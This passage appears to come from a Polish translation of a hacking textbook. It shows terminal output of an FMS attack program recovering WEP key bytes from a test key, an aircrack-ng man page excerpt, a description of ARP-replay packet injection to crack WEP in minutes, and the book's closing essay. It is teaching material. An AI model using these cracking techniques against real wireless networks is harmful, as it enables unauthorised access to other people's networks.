Doing the first 3 steps of KSA.. S[0] or S[1] have been disturbed,

discarding..

Using IV: (3, 255, 253), first keystream byte is 149

Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1

key[0] prediction = 149 - 2 - 1 = 146

Using IV: (3, 255, 254), first keystream byte is 253

Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2

key[0] prediction = 253 - 3 - 2 = 248

Using IV: (3, 255, 255), first keystream byte is 72

Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1

key[0] prediction = 72 - 4 - 1 = 67

Tabela częstotliwości dla klucza [0] (* = najczęściej)

0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 |

1 10 * | 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 |

2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 |

3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 |

4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 |

5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |

6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |

7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 |

8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |

9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 |

10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |

11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 |

12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |

13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |

14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |

15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |

16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |

17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 |

18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |

19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |

20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |

21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |

22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |

23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |

24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |

25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |

26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 |

27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |

28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |

29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |

30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |

31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)

key[0] is probably 1

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./fms 12

Using IV: (15, 255, 0), first keystream byte is 81

Doing the first 15 steps of KSA.. at KSA iteration #15, j=251 and S[15]=1

key[12] prediction = 81 - 251 - 1 = 85

Using IV: (15, 255, 1), first keystream byte is 80

Doing the first 15 steps of KSA.. at KSA iteration #15, j=252 and S[15]=1

key[12] prediction = 80 - 252 - 1 = 83

Using IV: (15, 255, 2), first keystream byte is 159

Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1

key[12] prediction = 159 - 253 - 1 = 161

.:[ output trimmed ]:.

Using IV: (15, 255, 252), first keystream byte is 238

Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1

key[12] prediction = 238 - 236 - 1 = 1

Using IV: (15, 255, 253), first keystream byte is 197

Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1

key[12] prediction = 197 - 236 - 1 = 216

Using IV: (15, 255, 254), first keystream byte is 238

Doing the first 15 steps of KSA.. at KSA iteration #15, j=249 and S[15]=2

key[12] prediction = 238 - 249 - 2 = 243

Using IV: (15, 255, 255), first keystream byte is 176

Doing the first 15 steps of KSA.. at KSA iteration #15, j=250 and S[15]=1

key[12] prediction = 176 - 250 - 1 = 181

Frequency table for key[12] (* = most frequent)

0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 |

1 2 | 33 1 | 65 0 | 97 2 | 129 1 | 161 1 | 193 0 | 225 0 |

2 0 | 34 2 | 66 2 | 98 0 | 130 2 | 162 3 | 194 2 | 226 0 |

3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 | 227 5 |

4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 |

5 3 | 37 0 | 69 3 | 101 2 | 133 0 | 165 2 | 197 0 | 229 3 |

6 1 | 38 2 | 70 2 | 102 0 | 134 0 | 166 2 | 198 0 | 230 2 |

7 2 | 39 0 | 71 1 | 103 0 | 135 0 | 167 3 | 199 1 | 231 1 |

8 1 | 40 0 | 72 0 | 104 1 | 136 1 | 168 2 | 200 0 | 232 0 |

9 0 | 41 1 | 73 0 | 105 0 | 137 1 | 169 1 | 201 1 | 233 1 |

10 2 | 42 2 | 74 0 | 106 4 | 138 2 | 170 0 | 202 1 | 234 0 |

11 3 | 43 1 | 75 0 | 107 1 | 139 3 | 171 2 | 203 1 | 235 0 |

12 2 | 44 0 | 76 0 | 108 2 | 140 2 | 172 0 | 204 0 | 236 1 |

13 0 | 45 0 | 77 0 | 109 1 | 141 1 | 173 0 | 205 2 | 237 4 |

14 1 | 46 1 | 78 1 | 110 0 | 142 3 | 174 1 | 206 0 | 238 1 |

15 1 | 47 2 | 79 1 | 111 0 | 143 0 | 175 1 | 207 2 | 239 0 |

16 2 | 48 0 | 80 1 | 112 1 | 144 3 | 176 0 | 208 0 | 240 0 |

17 1 | 49 0 | 81 0 | 113 1 | 145 1 | 177 0 | 209 0 | 241 0 |

18 0 | 50 2 | 82 0 | 114 1 | 146 0 | 178 0 | 210 1 | 242 0 |

19 0 | 51 0 | 83 4 | 115 1 | 147 0 | 179 1 | 211 4 | 243 2 |

20 0 | 52 1 | 84 1 | 116 4 | 148 0 | 180 1 | 212 1 | 244 1 |

21 0 | 53 1 | 85 1 | 117 0 | 149 2 | 181 1 | 213 12*| 245 1 |

22 1 | 54 3 | 86 0 | 118 0 | 150 1 | 182 2 | 214 3 | 246 1 |

23 0 | 55 3 | 87 0 | 119 1 | 151 0 | 183 0 | 215 0 | 247 0 |

24 0 | 56 1 | 88 0 | 120 0 | 152 2 | 184 0 | 216 2 | 248 0 |

25 1 | 57 0 | 89 0 | 121 2 | 153 0 | 185 2 | 217 1 | 249 0 |

26 1 | 58 0 | 90 1 | 122 0 | 154 1 | 186 0 | 218 1 | 250 2 |

27 2 | 59 1 | 91 1 | 123 0 | 155 1 | 187 1 | 219 0 | 251 2 |

28 2 | 60 2 | 92 1 | 124 1 | 156 1 | 188 1 | 220 0 | 252 0 |

29 1 | 61 1 | 93 3 | 125 2 | 157 2 | 189 2 | 221 0 | 253 1 |

30 0 | 62 1 | 94 0 | 126 0 | 158 1 | 190 1 | 222 1 | 254 2 |

31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 2 | 255 0 |

[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)

key[12] is probably 213

reader@hacking:~/booksrc $

Ten typ ataku okazał się tak skuteczny, że nowy protokół bezprzewodowy o nazwie WPA powinien być stosowany, jeśli oczekujesz jakiejkolwiek formy bezpieczeństwa. Jednak nadal istnieje niesamowita liczba sieci bezprzewodowych chronionych tylko przez WEP. Obecnie istnieją dość solidne narzędzia do przeprowadzania ataków WEP. Jednym z godnych uwagi przykładów jest aircrack, który został dołączony do LiveCD; jednak wymaga sprzętu bezprzewodowego, którego możesz nie mieć. Istnieje wiele dokumentacji na temat korzystania z tego narzędzia, które jest stale rozwijane. Pierwsza strona podręcznika powinna Cię uruchomić.

AIRCRACK-NG(1) AIRCRACK-NG(1)

NAME

aircrack-ng is a 802.11 WEP / WPA-PSK key cracker.

SYNOPSIS

aircrack-ng [options] <.cap / .ivs file(s)>

DESCRIPTION

aircrack-ng is a 802.11 WEP / WPA-PSK key cracker. It implements the socalled

Fluhrer - Mantin - Shamir (FMS) attack, along with some new attacks

by a talented hacker named KoreK. When enough encrypted packets have been

gathered, aircrack-ng can almost instantly recover the WEP key.

OPTIONS

Common options:

-a < amode >

Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK.

-e < essid >

Select the target network based on the ESSID. This option is also

required for WPA cracking if the SSID is cloacked.

Ponownie skonsultuj się z Internetem w sprawie problemów ze sprzętem. Ten program spopularyzował sprytną technikę gromadzenia IV. Oczekiwanie na zgromadzenie wystarczającej ilości IV z pakietów zajęłoby godziny, a nawet dni. Ale ponieważ sieć bezprzewodowa jest nadal siecią, będzie ruch ARP. Ponieważ szyfrowanie WEP nie zmienia rozmiaru pakietu, łatwo jest wybrać, które z nich są ARP. Ten atak przechwytuje zaszyfrowany pakiet, który jest wielkością żądania ARP, a następnie powtarza go do sieci tysiące razy. Za każdym razem pakiet jest deszyfrowany i wysyłany do sieci, a odpowiednia odpowiedź ARP jest wysyłana z powrotem. Te dodatkowe odpowiedzi nie szkodzą sieci; jednak generują oddzielny pakiet z nowym IV. Wykorzystując tę technikę łaskotania sieci, wystarczającą liczbę IV do złamania klucza WEP można zebrać w ciągu kilku minut.

Powrót

09.11.2020

KONKLUZJA

Hacking wydaje się być źle rozumianym tematem, a media lubią sensacje, co tylko pogarsza ten stan. Zmiany w terminologii były w większości nieskuteczne - potrzebna jest zmiana nastawienia. Hakerzy to tylko ludzie o innowacyjnym duchu i dogłębnej znajomości technologii. Hakerzy niekoniecznie są kryminalistami, choć tak długo, jak przestępstwo ma potencjał, by płacić, zawsze znajdą się tacy przestępcy, którzy są hakerami. Nie ma nic złego w samej wiedzy hakerów, pomimo jej potencjalnych zastosowań. Chcesz, czy nie, w oprogramowaniu i sieciach istnieją luki w zabezpieczeniach, od których świat zależy z dnia na dzień. To po prostu nieunikniony rezultat szybkiego tempa tworzenia oprogramowania. Nowe oprogramowanie często odnosi sukcesy na początku, nawet jeśli występują luki. Ten sukces oznacza pieniądze, które przyciągają przestępców, którzy uczą się wykorzystywać te luki w celu uzyskania korzyści finansowych. Wygląda na to, że byłaby to niekończąca się spirala w dół, ale na szczęście wszyscy ludzie, którzy znaleźli luki w oprogramowaniu, nie są złośliwymi przestępcami nastawionymi na zysk. Ci ludzie są hakerami, każdy z własnymi motywami; niektórzy kierują się ciekawością, inni są wynagradzani za swoją pracę, jeszcze inni stają po prostu przed wyzwaniem, a kilku jest w rzeczywistości przestępcami. Większość tych ludzi nie ma złych zamiarów; zamiast tego pomagają sprzedawcom naprawić ich wrażliwe oprogramowanie. Bez hakerów luki i dziury w oprogramowaniu pozostałyby nieodkryte. Niestety, system prawny jest powolny i przeważnie ignoruje technologię. Często zdarzają się drakońskie prawa i wydawane są nadmierne zdania, aby odstraszyć ludzi od uważnego oglądania. Jest to dziecinna logika, która zniechęca hakerów do odkrywania i szukania luk w zabezpieczeniach która niczego nie rozwiązuje. Przekonanie wszystkich, że cesarz ma na sobie fantazyjne nowe ubrania, nie zmienia rzeczywistości, w której jest nagi. Nieodkryte luki czekają na kogoś o wiele bardziej złośliwego niż przeciętny haker do ich odkrycia. Niebezpieczeństwo luk w oprogramowaniu polega na tym, że ładunek może być czymkolwiek. Replikacja robaków internetowych jest stosunkowo łagodna w porównaniu ze scenariuszami koszmaru terroryzmu, którego tak obawiają się te prawa. Ograniczenie hakerów do praw może zwiększyć prawdopodobieństwo najgorszych scenariuszy, ponieważ pozostawia więcej nieodkrytych luk do wykorzystania przez tych, którzy nie są związani prawem i chcą wyrządzić prawdziwe szkody. Niektórzy mogą twierdzić, że gdyby nie było hakerów, nie byłoby powodu, aby naprawić te nieodkryte luki. To jedna perspektywa, ale osobiście wolę postęp nad stagnacją. Hakerzy odgrywają bardzo ważną rolę w koewolucji technologii. Bez hakerów byłoby niewiele powodów, aby poprawić bezpieczeństwo komputera. Poza tym tak długo, jak pytania "Dlaczego?" i "Co jeśli?" są zadawane, hakerzy zawsze będą istnieć. Świat bez hakerów byłby światem bez ciekawości i innowacji. Technologia zawsze się zmienia i rozszerza, więc zawsze pojawią się nowe hacki. W oprogramowaniu zawsze pojawią się nowe luki w zabezpieczeniach, dwuznaczności w specyfikacjach protokołów i mnóstwo innych niedopatrzeń. Wiedza zdobyta tu jest tylko punktem wyjścia. To od ciebie zależy, czy będziesz ją poszerzał, nieustannie zastanawiając się, jak to działa, zastanawiając się nad możliwościami i myśląc o rzeczach, o których twórcy nie pomyśleli. Od Ciebie zależy jak najlepiej wykorzystać te odkrycia i zastosować tę wiedzę, jeśli uznasz to za stosowne. Sama informacja nie jest przestępstwem.

Powrót